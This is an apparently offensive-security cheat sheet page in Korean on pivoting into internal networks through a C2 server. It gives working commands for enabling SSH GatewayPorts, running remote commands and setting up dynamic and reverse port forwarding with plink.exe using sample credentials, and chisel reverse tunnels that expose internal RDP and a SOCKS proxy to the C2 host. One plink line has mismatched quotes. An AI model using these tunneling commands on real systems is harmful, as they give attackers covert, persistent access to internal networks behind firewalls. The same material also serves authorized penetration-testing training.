Tools
사용자 로컬에서 내부망의 포트에 접근하기 위해 C2 서버로 리모트 포트 포워딩을 하여 접근하고자 할 경우 C2의 ssh 속성에서 GatewayPorts는 필수적 옵션입니다.
# GatewayPorts 속성 활성화 및 ssh 재시작
echo "GatewayPorts yes" >> /etc/ssh/sshd_config
systemctl restart ssh
본 페이지에서는 ssh 외에도 포트포워딩을 할 수 있는 다양한 방법들에 대해 다룹니다.
plink.exe
# 원격 명령 실행
echo 'y' | .\plink.exe -ssh [email protected] -pw 'Password123!' 'whoami'
# 로컬 다이나믹 포트 포워딩
echo 'y' | .\plink.exe -P 20253 -ssh [email protected] -pw 'Password123!' -D 9050
# 리버스 다이나믹 포트 포워딩
echo 'y' | .\plink.exe -P 20253 -ssh [email protected] -pw 'Password123!' -R 9050
# 리버스 포트 포워딩
echo "y" | .\plink.exe -P 20253 [email protected] -pw 'Password123!" -R 0.0.0.0:10001:127.0.0.1:3389
chisel
# chisel 서버 (c2 서버)
./chisel server --reverse -port 8080
# chisel 클라이언트 (내부망)
.\chisel.exe client 192.168.1.12:8080 R:10001:127.0.0.1:3389
# 리버스 다이나믹 포트 포워딩
.\chisel.exe client 192.168.1.12:8080 R:socks
Last updated
Was this helpful?